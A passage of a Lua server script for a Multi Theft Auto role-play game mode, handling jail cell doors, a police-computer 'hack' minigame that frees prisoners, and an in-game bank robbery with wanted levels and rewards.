j20 = createObject ( 2930, 1568.09, -1662.97, 1232.2, 0, 0, 90)
--c20 = createColSphere    ( 1568.09, -1662.97, 1230.7, 2 )
j21 = createObject ( 2930, 1563.33, -1662.97, 1232.2, 0, 0, 90)
--c21 = createColSphere    ( 1564.33, -1662.97, 1230.7, 2 )
j22 = createObject ( 2930, 1558.57, -1662.97, 1232.2, 0, 0, 90)
--c22 = createColSphere    ( 1559.57, -1662.97, 1230.7, 2 )

------------------------------------------------------------

j23 = createObject ( 2930, 1588.84, -1679.13, 1236.28, 0, 0, 270)
--c23 = createColSphere    ( 1587.84, -1679.13, 1234.78, 2 )
j24 = createObject ( 2930, 1584.08, -1679.13, 1236.28, 0, 0, 270)
--c24 = createColSphere    ( 1583.08, -1679.13, 1234.78, 2 )
j25 = createObject ( 2930, 1579.34, -1679.13, 1236.28, 0, 0, 270)
--c25 = createColSphere    ( 1578.34, -1679.13, 1234.78, 2 )
j26 = createObject ( 2930, 1574.56, -1679.13, 1236.28, 0, 0, 270)
--c26 = createColSphere    ( 1573.56, -1679.13, 1234.78, 2 )
j27 = createObject ( 2930, 1569.84, -1679.13, 1236.28, 0, 0, 270)
--c27 = createColSphere    ( 1568.84, -1679.13, 1234.78, 2 )
j28 = createObject ( 2930, 1565.09, -1679.13, 1236.28, 0, 0, 270)
--c28 = createColSphere    ( 1564.09, -1679.13, 1234.78, 2 )
j29 = createObject ( 2930, 1560.34, -1679.13, 1236.28, 0, 0, 270)
--c29 = createColSphere    ( 1559.34, -1679.13, 1234.78, 2 )

j30 = createObject ( 2930, 1587.13, -1662.97, 1236.28, 0, 0, 90)
--c30 = createColSphere    ( 1588.13, -1662.97, 1234.78, 2)
j31 = createObject ( 2930, 1582.37, -1662.97, 1236.28, 0, 0, 90)
--c31 = createColSphere    ( 1583.39, -1662.97, 1234.78, 2)
j32 = createObject ( 2930, 1577.61, -1662.97, 1236.28, 0, 0, 90)
--c32 = createColSphere    ( 1578.61, -1662.97, 1234.78, 2)
j33 = createObject ( 2930, 1572.85, -1662.97, 1236.28, 0, 0, 90)
--c33 = createColSphere    ( 1573.85, -1662.97, 1234.78, 2)
j34 = createObject ( 2930, 1568.09, -1662.97, 1236.28, 0, 0, 90)
--c34 = createColSphere    ( 1569.09, -1662.97, 1234.78, 2)
j35 = createObject ( 2930, 1563.33, -1662.97, 1236.28, 0, 0, 90)
--c35 = createColSphere    ( 1564.33, -1662.97, 1234.78, 2)
j36 = createObject ( 2930, 1558.57, -1662.97, 1236.28, 0, 0, 90)
--c36 = createColSphere    ( 1559.57, -1662.97, 1234.78, 2)

------------------------------------------------------------

rd  = createObject ( 2949, 1557.477, -1662.7, 1225.39, 0, 0, 90)
--cr  = createColSphere    ( 1557.477, -1662.68, 1226.5, 2)

bd  = createObject ( 975, 1586.33, -1670.51, 1227.07, 0, 0, 90)
--cb  = createColSphere   ( 1586.33, -1671.7, 1226.5, 3)

e1  = createObject ( 2930, 1589.56, -1675.17, 1228, 0, 0, 270)
--ce1 = createColSphere    ( 1588.56, -1675.17, 1226.5, 1.6)

e2  = createObject ( 975, 1554.44, -1670.57, 1226.9, 0, 0, 270)
--ce2 = createColSphere   ( 1554.45, -1671.15, 1226.5, 2)

--------------------------------------------------------------------------------------------------------

--oj = createColSphere(1597.2, -1662, 1226.5, 1)

--------------------------------------------------------------------------------------------------------

bgate = createObject(2634, 590.8, -1267.62, 1287.31, 0, 0, 270)
setElementInterior(bgate, 1)
--[[
bdc = createColSphere(591, -1267.6, 1286.3, 1)

rb1 = createColSphere(588.6, -1264.6, 1286.3, 1)
rb2 = createColSphere(584.7, -1264.6, 1286.3, 1)
rb3 = createColSphere(580.73, -1264.6, 1286.3, 1)
rb4 = createColSphere(576.8, -1264.6, 1286.3, 1)

rb5 = createColSphere(588.6, -1270.6, 1286.3, 1)
rb6 = createColSphere(584.7, -1270.6, 1286.3, 1)
rb7 = createColSphere(580.73, -1270.6, 1286.3, 1)
rb8 = createColSphere(576.8, -1270.6, 1286.3, 1)
]]
--------------------------------------------------------------------------------------------------------

for _, obs in ipairs(getElementsByType("object")) do
    if getElementModel(obs) == 2930 or getElementModel(obs) == 2949 or getElementModel(obs) == 975 then
        setElementInterior(obs, 1)
    end
end

--------------------------------------------------------------------------------------------------------

--[[function PTOCAllJails()
    --outputDebugString("server: PTOCAllJails")
    if OAJ then
        for _, players in ipairs(getElementsByType("player")) do
            if getElementData(players, "Stats") > 2 then
                outputChatBox(ebttext[players], players, 255, 0, 0, true)
            end
        end
    else
        for _, players in ipairs(getElementsByType("player")) do
            if getElementData(players, "Stats") > 2 then
                outputChatBox(sbttext[players], players, 255, 255, 0, true)
            end
        end
    end
    setTimer(OCAllJails, 30000, 1)
end
--setTimer(PTOCAllJails, 150000, 1)
--addCommandHandler("SPBTstartprisonersbreaktime", PTOCAllJails)]]--@--

-------------------------------------------------------------------------------------------------
--[[
jj = {}
ojj = {}
bbd = {}
ee1 = {}
dbank = {}
robbank = {}
]]
hlspdpc = {}
--[[
function BKOPS()
    --outputDebugString("server: BKOPS")
    if OAJ then
        triggerClientEvent("COAJT", source)
    end
end
addEventHandler("onPlayerSpawn", getRootElement(), BKOPS)

function bj1(CSH)
    --outputDebugString("server: bj1")
    if getElementType(source) == "player" then
        if getPlayerTeam(source) == Police then
            if CSH == cb then
                bbd[source] = true
            elseif CSH == ce1 then
                ee1[source] = true
            elseif CSH then
                jj[source] = CSH
            end
        else
            if CSH == oj then
                ojj[source] = true
            elseif CSH == bdc then
                dbank[source] = true
            elseif CSH then
                robbank[source] = CSH
            end
        end
    end
end
addEventHandler("onElementColShapeHit", getRootElement(), bj1)

function unbj1(CSL)
    --outputDebugString("server: unbj1")
    if CSL == cb then
        bbd[source] = false
    elseif CSL == ce1 then
        ee1[source] = false
    elseif CSL == oj then
        if hlspdpc[source] then
            outputChatBox(fhptext[source], source, 255, 0, 0)
            killTimer(hlspdpc[source])
            hlspdpc[source] = nil
        end
        ojj[source] = false
    elseif CSL then
        jj[source] = false
    end
    if CSL == bdc then
        dbank[source] = false
        if rbp == source and not str then
            player = source
            FTRB(player)
        end
    elseif CSL then
        robbank[source] = false
    end
end
addEventHandler("onElementColShapeLeave", getRootElement(), unbj1)
]]
addEvent("HPCF", true)
function FHPCF()
    if hlspdpc[source] then
        hlspdpc[source] = false
        setPedAnimation(source, false)
        setElementFrozen(source, false)
        if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
        triggerClientEvent(source, "onHackPc", source, false)
        for _, players in ipairs(getElementsByType("player")) do
            if getPlayerTeam(players) == Police or players == source then
                triggerClientEvent("Tcheckntf", players, 'r', 'hack', 'r', fhptext[players], players)
                exports["guimessages"]:outputServer(players, fhptext[players], 255, 0, 0)
            end
        end
    end
end
addEventHandler("HPCF", getRootElement(), FHPCF)

robank = false

bag = createObject(1550, 0, 0, 0)
rul = createObject(1872, 0, 0, 0)
setElementDoubleSided(bag, true)
setElementDoubleSided(rul, true)
--@--setElementData(bag, "Wrestlers", 0)
setElementData(bag, "HAC", 1)
setElementData(bag, "WAC", 1)

addEvent("TOCJ", true)
function OCJ(player, bbd, ee1, jj, ojj, dbank, robbank, bagm)
    --outputDebugString("server: OCJ")
    if not OAJ then
        if jj == 1 then
            if j1o then
                moveObject (j1, 1000, 1585.04, -1679.13, 1228)
                j1o = false
            else
                moveObject (j1, 1000, 1586.36, -1679.13, 1228)
                j1o = true
            end
        elseif jj == 2 then
            if j2o then
                moveObject (j2, 1000, 1580.29, -1679.13, 1228)
                j2o = false
            else
                moveObject (j2, 1000, 1581.63, -1679.13, 1228)
                j2o = true
            end
        elseif jj == 3 then
            if j3o then
                moveObject (j3, 1000, 1575.54, -1679.13, 1228)
                j3o = false
            else
                moveObject (j3, 1000, 1576.88, -1679.13, 1228)
                j3o = true
            end
        elseif jj == 4 then
            if j4o then
                moveObject (j4, 1000, 1570.79, -1679.13, 1228)
                j4o = false
            else
                moveObject (j4, 1000, 1572.13, -1679.13, 1228)
                j4o = true
            end
        elseif jj == 5 then
            if j5o then
                moveObject (j5, 1000, 1583.33, -1662.97, 1228)
                j5o = false
            else
                moveObject (j5, 1000, 1581.99, -1662.97, 1228)
                j5o = true
            end
        elseif jj == 6 then
            if j6o then
                moveObject (j6, 1000, 1578.58, -1662.97, 1228)
                j6o = false
            else
                moveObject (j6, 1000, 1577.24, -1662.97, 1228)
                j6o = true
            end
        elseif jj == 7 then
            if j7o then
                moveObject (j7, 1000, 1573.83, -1662.97, 1228)
                j7o = false
            else
                moveObject (j7, 1000, 1572.49, -1662.97, 1228)
                j7o = true
            end
        elseif jj == 8 then
            if j8o then
                moveObject (j8, 1000, 1569.08, -1662.97, 1228)
                j8o = false
            else
                moveObject (j8, 1000, 1567.74, -1662.97, 1228)
                j8o = true
            end
        elseif jj == 9 then
            if j9o then
                moveObject (j9, 1000, 1588.84, -1679.13, 1232.2)
                j9o = false
            else
                moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
                j9o = true
            end
----------------------------------------------------------------------------------------------------------
        elseif jj == 10 then
            if j10o then
                moveObject (j10, 1000, 1584.09, -1679.13, 1232.2)
                j10o = false
            else
                moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
                j10o = true
            end
        elseif jj == 11 then
            if j11o then
                moveObject (j11, 1000, 1579.34, -1679.13, 1232.2)
                j11o = false
            else
                moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
                j11o = true
            end
        elseif jj == 12 then
            if j12o then
                moveObject (j12, 1000, 1574.59, -1679.13, 1232.2)
                j12o = false
            else
                moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
                j12o = true
            end
        elseif jj == 13 then
            if j13o then
                moveObject (j13, 1000, 1569.84, -1679.13, 1232.2)
                j13o = false
            else
                moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
                j13o = true
            end
        elseif jj == 14 then
            if j14o then
                moveObject (j14, 1000, 1565.09, -1679.13, 1232.2)
                j14o = false
            else
                moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
                j14o = true
            end
        elseif jj == 15 then
            if j15o then
                moveObject (j15, 1000, 1560.34, -1679.13, 1232.2)
                j15o = false
            else
                moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
                j15o = true
            end
        elseif jj == 16 then
            if j16o then
                moveObject (j16, 1000, 1587.13, -1662.97, 1232.2)
                j16o = false
            else
                moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
                j16o = true
            end
        elseif jj == 17 then
            if j17o then
                moveObject (j17, 1000, 1582.38, -1662.97, 1232.2)
                j17o = false
            else
                moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
                j17o = true
            end
        elseif jj == 18 then
            if j18o then
                moveObject (j18, 1000, 1577.63, -1662.97, 1232.2)
                j18o = false
            else
                moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
                j18o = true
            end
        elseif jj == 19 then
            if j19o then
                moveObject (j19, 1000, 1572.88, -1662.97, 1232.2)
                j19o = false
            else
                moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
                j19o = true
            end
----------------------------------------------------------------------------------------------------------
        elseif jj == 20 then
            if j20o then
                moveObject (j20, 1000, 1568.13, -1662.97, 1232.2)
                j20o = false
            else
                moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
                j20o = true
            end
        elseif jj == 21 then
            if j21o then
                moveObject (j21, 1000, 1563.38, -1662.97, 1232.2)
                j21o = false
            else
                moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
                j21o = true
            end
        elseif jj == 22 then
            if j22o then
                moveObject (j22, 1000, 1558.63, -1662.97, 1232.2)
                j22o = false
            else
                moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
                j22o = true
            end
        elseif jj == 23 then
            if j23o then
                moveObject (j23, 1000, 1588.84, -1679.13, 1236.28)
                j23o = false
            else
                moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
                j23o = true
            end
        elseif jj == 24 then
            if j24o then
                moveObject (j24, 1000, 1584.09, -1679.13, 1236.28)
                j24o = false
            else
                moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
                j24o = true
            end
        elseif jj == 25 then
            if j25o then
                moveObject (j25, 1000, 1579.34, -1679.13, 1236.28)
                j25o = false
            else
                moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
                j25o = true
            end
        elseif jj == 26 then
            if j26o then
                moveObject (j26, 1000, 1574.59, -1679.13, 1236.28)
                j26o = false
            else
                moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
                j26o = true
            end
        elseif jj == 27 then
            if j27o then
                moveObject (j27, 1000, 1569.84, -1679.13, 1236.28)
                j27o = false
            else
                moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
                j27o = true
            end
        elseif jj == 28 then
            if j28o then
                moveObject (j28, 1000, 1565.09, -1679.13, 1236.28)
                j28o = false
            else
                moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
                j28o = true
            end
        elseif jj == 29 then
            if j29o then
                moveObject (j29, 1000, 1560.34, -1679.13, 1236.28)
                j29o = false
            else
                moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
                j29o = true
            end
----------------------------------------------------------------------------------------------------------
        elseif jj == 30 then
            if j30o then
                moveObject (j30, 1000, 1587.13, -1662.97, 1236.28)
                j30o = false
            else
                moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
                j30o = true
            end
        elseif jj == 31 then
            if j31o then
                moveObject (j31, 1000, 1582.38, -1662.97, 1236.28)
                j31o = false
            else
                moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
                j31o = true
            end
        elseif jj == 32 then
            if j32o then
                moveObject (j32, 1000, 1577.63, -1662.97, 1236.28)
                j32o = false
            else
                moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
                j32o = true
            end
        elseif jj == 33 then
            if j33o then
                moveObject (j33, 1000, 1572.88, -1662.97, 1236.28)
                j33o = false
            else
                moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
                j33o = true
            end
        elseif jj == 34 then
            if j34o then
                moveObject (j34, 1000, 1568.13, -1662.97, 1236.28)
                j34o = false
            else
                moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
                j34o = true
            end
        elseif jj == 35 then
            if j35o then
                moveObject (j35, 1000, 1563.38, -1662.97, 1236.28)
                j35o = false
            else
                moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
                j35o = true
            end
        elseif jj == 36 then
            if j36o then
                moveObject (j36, 1000, 1558.63, -1662.97, 1236.28)
                j36o = false
            else
                moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
                j36o = true
            end
----------------------------------------------------------------------------------------------------------
        elseif bbd then
            if bdo then
                moveObject (bd, 4000, 1586.33, -1670.51, 1227.07)
                bdo = false
            else
                moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
                bdo = true
            end
        end
    end
    if jj == 37 then
        if rdo then
            moveObject (rd, 1000, 1557.477, -1662.7, 1225.39)
            rdo = false
        else
            moveObject (rd, 1000, 1556.71, -1662.7, 1225.39)
            rdo = true
        end
    elseif ee1 then
        if e1o then
            moveObject (e1, 1000, 1589.56, -1675.17, 1228)
            e1o = false
            setTimer(function() badcop1 = false end, 1000, 1)
        else
            moveObject (e1, 1000, 1590.9, -1675.17, 1228)
            e1o = true
            badcop1 = player
        end
    elseif jj == 38 then
        if e2o then
            moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
            e2o = false
            setTimer(function() badcop2 = false end, 2000, 1)
        else
            moveObject (e2, 2000, 1554.44, -1670.57, 1229.4)
            e2o = true
            badcop2 = player
        end
    elseif ojj then
        if not hacked then
            hacked = true
            setTimer(function() hacked = false end, 300000, 1)
            gpwantl = getElementData(player, "WantLvl")
            if gpwantl < 3 then
                setElementData(player, "WantLvl", gpwantl+3)
            else
                setElementData(player, "WantLvl", 6)
            end
            --hlspdpc[player] = setTimer(HPC, 60000, 1, player)
            hlspdpc[player] = true
            triggerClientEvent(player, "onHackPc", player, true)
            setElementFrozen(player, true)
            setElementPosition(player, 230.75, 76.41397, 1005.03906)
            setPedRotation(player, 0)
            setPedAnimation(player, "INT_OFFICE", "OFF_Sit_Type_Loop", -1, true, false)
            setElementData(player, "Task", "TASK_SIMPLE_NAMED_ANIM")
            exports["guimessages"]:outputServer(player, ahptext[player], 255, 0, 0)
            triggerClientEvent("Tcheckntf", player, 'y', 'hack', 'y', ahptext[player], player)
            hackAnimTimer = setTimer(function(player)
                if isElement(player) then
                    if getElementData(player, "Task") ~= "TASK_SIMPLE_NAMED_ANIM" then
                        setPedAnimation(player, "INT_OFFICE", "OFF_Sit_Type_Loop", -1, true, false)
                    end
                else
                    if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
                end
            end, 100, 0, player)
            for _, players in ipairs(getElementsByType("player")) do
                if getPlayerTeam(players) == Police then
                    exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
                    exports["guimessages"]:outputServer(players, hr1text[players]..''..getPlayerName(player)..''..hr2text[players], 255, 0, 0)
                end
                triggerClientEvent("Tcheckntf", players, 'r', 'hack', 'r', hr1text[players]..''..getPlayerName(player)..''..hr2text[players], players)
            end
        else
            exports["guimessages"]:outputServer(player, phdtext[player], 255, 255, 0)
        end
    elseif dbank then
        if getPlayerCount() < 20 then
            exports ["guimessages"]:outputServer(player, "You can't rob the bank right now! لايمكن سرقة البنك الاّن", 255, 255, 0)
        else
        if not robank then
            setElementData(bag, "RBANK", 0)
            robank = true
            ttb = true
            rbp = player
            setTimer(function() robank = false
                    rbp = false
                    str = false
                    bagr = false
                    rbank1 = false
                    rbank2 = false
                    rbank3 = false
                    rbank4 = false
                    rbank5 = false
                    rbank6 = false
                    rbank7 = false
                    rbank8 = false
                    moveObject(bgate, 3000, 590.8, -1267.62, 1287.31)
                end, 1440000, 1)
            setTimer(FTRB, 750000, 1)
            strt = setTimer(function() str = true
                    strt = false
                    triggerClientEvent("SSafes", rbp, rbp)
                    moveObject(bgate, 3000, 590.8, -1266, 1287.31)
                end, 5000, 1)
            gpwanl = getElementData(player, "WantLvl")
            if gpwanl < 3 then
                setElementData(player, "WantLvl", gpwanl+3)
            else
                setElementData(player, "WantLvl", 6)
            end
            exports["guimessages"]:outputServer(player, arbtext[player], 255, 0, 0)
            triggerClientEvent("Tcheckntf", player, 'y', 'br', 'y', arbtext[player], player)
            triggerClientEvent("dbanim", getRootElement(), rbp)
            for _, players in ipairs(getElementsByType("player")) do
                --if getPlayerTeam(players) == Police then
                if players ~= player then
                    exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
                    exports["guimessages"]:outputServer(players, rrb1text[players]..''..getPlayerName(player)..''..rrb2text[players], 255, 0, 0)
                    triggerClientEvent("Tcheckntf", players, 'r', 'br', 'r', rrb1text[players]..''..getPlayerName(player)..''..rrb2text[players], players)
                end
            end
        elseif rbp ~= player then
            exports["guimessages"]:outputServer(player, brdtext[player], 255, 255, 0)
        end
        end
    elseif robbank == 1 then
        if rbp == player then
            if not rbank1 then
                rbb = 1
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank1 = true
            end
        end
    elseif robbank == 2 then
        if rbp == player then
            if not rbank2 then
                rbb = 2
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank2 = true
            end
        end
    elseif robbank == 3 then
        if rbp == player then
            if not rbank3 then
                rbb = 3
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank3 = true
            end
        end
    elseif robbank == 4 then
        if rbp == player then
            if not rbank4 then
                rbb = 4
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank4 = true
            end
        end
    elseif robbank == 5 then
        if rbp == player then
            if not rbank5 then
                rbb = 5
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank5 = true
            end
        end
    elseif robbank == 6 then
        if rbp == player then
            if not rbank6 then
                rbb = 6
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank6 = true
            end
        end
    elseif robbank == 7 then
        if rbp == player then
            if not rbank7 then
                rbb = 7
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank7 = true
            end
        end
    elseif robbank == 8 then
        if rbp == player then
            if not rbank8 then
                rbb = 8
                triggerClientEvent("rbanim", getRootElement(), rbp, rbb)
                setElementData(bag, "RBANK", getElementData(bag, "RBANK")+1)
                rbank8 = true
            end
        end
    end
    if ttb then
        if robbank or bagm then
            if str and not bagr then
                rbp = player
                bagr = true

                bint = getElementInterior(player)
                bdim = getElementDimension(player)
                setElementInterior(bag, bint)
                setElementDimension(bag, bdim)
                setElementInterior(rul, bint)
                setElementDimension(rul, bdim)

                exports.bone_attach:attachElementToBone(bag, player, 3, 0, -.27, 0, 0, 0, 160)
                exports.bone_attach:attachElementToBone(rul, player, 3, 0, -.27, -.37)
                if not rdotb then
                    rdotb = createBlipAttachedTo(bag, 36)
                end
                if getPlayerTeam(player) == Police then
                    triggerClientEvent("BTBTTB", getRootElement(), rbp, rbank1, rbank2, rbank3, rbank4, rbank5, rbank6, rbank7, rbank8)
                else
                    setElementData(player, "WantLvl", 6)
                    triggerClientEvent("SafesM", getRootElement(), rbp, rbank1, rbank2, rbank3, rbank4, rbank5, rbank6, rbank7, rbank8)
                end
            end
        end
    end
end
addEventHandler("TOCJ", getRootElement(), OCJ)

function SBID()
    if rbp == source then
        bint = getElementDimension(source)
        bdim = getElementInterior(source)
        setElementInterior(bag, bint)
        setElementDimension(bag, bdim)
        setElementInterior(rul, bint)
        setElementDimension(rul, bdim)
    end
end
addEventHandler("onPlayerMarkerLeave", getRootElement(), SBID)

addEvent("DBFR", true)
function FDBFR(x, y, gz)
    exports.bone_attach:detachElementFromBone(bag)
    exports.bone_attach:detachElementFromBone(rul)
    if gz then
        setElementPosition(bag, x, y, gz+.4)
        setElementPosition(rul, x, y, gz+.03)
    end
    setElementRotation(bag, 0, 0, 0)
    setElementRotation(rul, 0, 0, 0)
    bagr = false
    rbp = false
    triggerClientEvent("DropB", getRootElement(), x, y, gz)
    --ttb = false
    --[[if rdotb then
        destroyElement(rdotb)
        rdotb = false
    end]]
end
addEventHandler("DBFR", getRootElement(), FDBFR)

addEvent("Rbag", true)
function FRbag(player)
    exports.bone_attach:detachElementFromBone(bag)
    exports.bone_attach:detachElementFromBone(rul)
    setElementPosition(bag, 0, 0, 0)
    setElementPosition(rul, 0, 0, 0)
    if rbp == player and getPlayerTeam(rbp) == Police then
        exports["guimessages"]:outputServer(player, amr1text[player]..'3000'..amr2text[player], 0, 255, 0)
    end
    rbp = false
    ttb = false
    if rdotb then
        destroyElement(rdotb)
        rdotb = false
    end
end
addEventHandler("Rbag", getRootElement(), FRbag)

function HPC(player)
    --outputDebugString("server: HPC")
    hlspdpc[player] = false
    lspdh = true
    setTimer(function() lspdh = false end, 30000, 1)
    setElementData(player, "WantLvl", 6)
    exports["guimessages"]:outputServer(player, shptext[player], 0, 255, 0)
    setPedAnimation(player, false)
    setElementFrozen(player, false)
    if isTimer(hackAnimTimer) then killTimer(hackAnimTimer) end
    --triggerClientEvent(player,"xHackPcDonex",player)
    triggerClientEvent(player, "onHackPc", player, false)
    triggerClientEvent("Tcheckntf", player, 'g', 'hack', 'g', shptext[player], player)
    for _, players in ipairs(getElementsByType("player")) do
        if getPlayerTeam(players) == Police then
            exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
            exports["guimessages"]:outputServer(players, shr1text[players]..''..getPlayerName(player)..''..shr2text[players], 255, 0, 0)
        elseif getElementData(players, "Stats") > 2 then
            exports["guimessages"]:outputServer(players, hpt1text[players]..''..getPlayerName(player)..''..hpt2text[players], 255, 255, 0)
            if getPlayerTeam(players) == getPlayerTeam(player) then
                --[[Mplayer = player
                reward = 500
                rscore = 2
                triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
                setElementData(player, "Money", getElementData(player, "Money")+500)
                setElementData(player, "Scores", getElementData(player, "Scores")+2)
            else
                --[[Mplayer = player
                reward = 200
                rscore = 1
                triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
                setElementData(player, "Money", getElementData(player, "Money")+200)
                setElementData(player, "Scores", getElementData(player, "Scores")+1)
            end
        end
    end
    moveObject (j1, 1000, 1586.36, -1679.13, 1228)
    moveObject (j2, 1000, 1581.63, -1679.13, 1228)
    moveObject (j3, 1000, 1576.88, -1679.13, 1228)
    moveObject (j4, 1000, 1572.13, -1679.13, 1228)
    moveObject (j5, 1000, 1581.99, -1662.97, 1228)
    moveObject (j6, 1000, 1577.24, -1662.97, 1228)
    moveObject (j7, 1000, 1572.49, -1662.97, 1228)
    moveObject (j8, 1000, 1567.74, -1662.97, 1228)
    moveObject (j9, 1000, 1590.18, -1679.13, 1232.2)
    moveObject (j10, 1000, 1585.43, -1679.13, 1232.2)
    moveObject (j11, 1000, 1580.68, -1679.13, 1232.2)
    moveObject (j12, 1000, 1575.93, -1679.13, 1232.2)
    moveObject (j13, 1000, 1571.18, -1679.13, 1232.2)
    moveObject (j14, 1000, 1566.43, -1679.13, 1232.2)
    moveObject (j15, 1000, 1561.68, -1679.13, 1232.2)
    moveObject (j16, 1000, 1585.79, -1662.97, 1232.2)
    moveObject (j17, 1000, 1581.04, -1662.97, 1232.2)
    moveObject (j18, 1000, 1576.29, -1662.97, 1232.2)
    moveObject (j19, 1000, 1571.54, -1662.97, 1232.2)
    moveObject (j20, 1000, 1566.79, -1662.97, 1232.2)
    moveObject (j21, 1000, 1562.04, -1662.97, 1232.2)
    moveObject (j22, 1000, 1557.29, -1662.97, 1232.2)
    moveObject (j23, 1000, 1590.18, -1679.13, 1236.28)
    moveObject (j24, 1000, 1585.43, -1679.13, 1236.28)
    moveObject (j25, 1000, 1580.68, -1679.13, 1236.28)
    moveObject (j26, 1000, 1575.93, -1679.13, 1236.28)
    moveObject (j27, 1000, 1571.18, -1679.13, 1236.28)
    moveObject (j28, 1000, 1566.43, -1679.13, 1236.28)
    moveObject (j29, 1000, 1561.68, -1679.13, 1236.28)
    moveObject (j30, 1000, 1585.79, -1662.97, 1236.28)
    moveObject (j31, 1000, 1581.04, -1662.97, 1236.28)
    moveObject (j32, 1000, 1576.29, -1662.97, 1236.28)
    moveObject (j33, 1000, 1571.54, -1662.97, 1236.28)
    moveObject (j34, 1000, 1566.79, -1662.97, 1236.28)
    moveObject (j35, 1000, 1562.04, -1662.97, 1236.28)
    moveObject (j36, 1000, 1557.29, -1662.97, 1236.28)
    moveObject (bd, 4000, 1586.33, -1662.73, 1227.07)
    moveObject (e1, 1000, 1590.9, -1675.17, 1228)
    moveObject (e2, 2000, 1554.44, -1670.57, 1229.4)
end
addEvent("onHackPcComplete", true)
addEventHandler("onHackPcComplete", root, HPC)

addEvent("OMH", true)
function FOMH(player)
    --outputDebugString("server: FOMH")
    if rbp == player and str then
        rbp = false
        ttb = false
        brobbed = getElementData(bag, "RBANK")
        if brobbed > 8 then
            brobbed = 8
        end
        rmoney = brobbed*1000+math.random(0, 2000)
        --[[Mplayer = player
        reward = rmoney
        rscore = brobbed
        triggerClientEvent(player, "GPM", player, Mplayer, reward, rscore)]]
        setElementData(player, "Money", getElementData(player, "Money")+rmoney)
        setElementData(player, "Scores", getElementData(player, "Scores")+brobbed)
        exports["guimessages"]:outputServer(player, rmb1text[player]..''..rmoney..''..rmb2text[player], 0, 255, 0)
        triggerClientEvent("Tcheckntf", player, 'g', 'br', 'g', rmb1text[player]..''..rmoney..''..rmb2text[player], player)
        setElementData(bag, "RBANK", 0)
        for _, players in ipairs(getElementsByType("player")) do
            exports["guimessages"]:outputServer(players, mrmb1text[players]..''..getPlayerName(player)..''..mrmb2text[players]..''..rmoney..''..mrmb3text[players], 255, 0, 0)
        end
        if rdotb then
            destroyElement(rdotb)
            rdotb = false
        end
        exports.bone_attach:detachElementFromBone(bag)
        exports.bone_attach:detachElementFromBone(rul)
        setElementPosition(bag, 0, 0, 0)
        setElementPosition(rul, 0, 0, 0)
        rbp = false
    end
end
addEventHandler("OMH", getRootElement(), FOMH)

function FTRB()
    --outputDebugString("server: FTRB")
    for _, players in ipairs(getElementsByType("player")) do
        if rbp == players then
            rbp = false
            if getPlayerTeam(players) ~= Police then
                exports["guimessages"]:outputServer(players, frbtext[players], 255, 0, 0)
            end
            FRbag(players)
            triggerClientEvent("CROB", players)
        end
    end
end

addEvent("PIJ", true)
function PPIJ(player, cop)
    --outputDebugString("server: PPIJ")
    --outputChatBox("PPIJ")
    WLP = getElementData(player, "WantLvl")
    WLPM = WLP*500
    --[[Mplayer = cop
    reward = WLPM
    rscore = WLP*2
    triggerClientEvent(cop, "GPM", cop, Mplayer, reward, rscore)]]
    setElementData(cop, "Money", getElementData(cop, "Money")+WLPM)
    setElementData(cop, "Scores", getElementData(cop, "Scores")+(WLP*2))
    setElementData(player, "WantLvl", 0)
    setElementData(player, "Stats", 3)
    setElementData(cop, "Prisoners", 0)
    setElementData(player, "SDG", 0)
    setElementData(player, "MDG", 0)
    setElementData(player, "EDG", 0)
    toggleControl(player, "fire", true)
    toggleControl(player, "jump", true)
    setPedFightingStyle(player, 15)
    setPedWeaponSlot(player, 0)
    setElementInterior(player, 1)
    player = cop
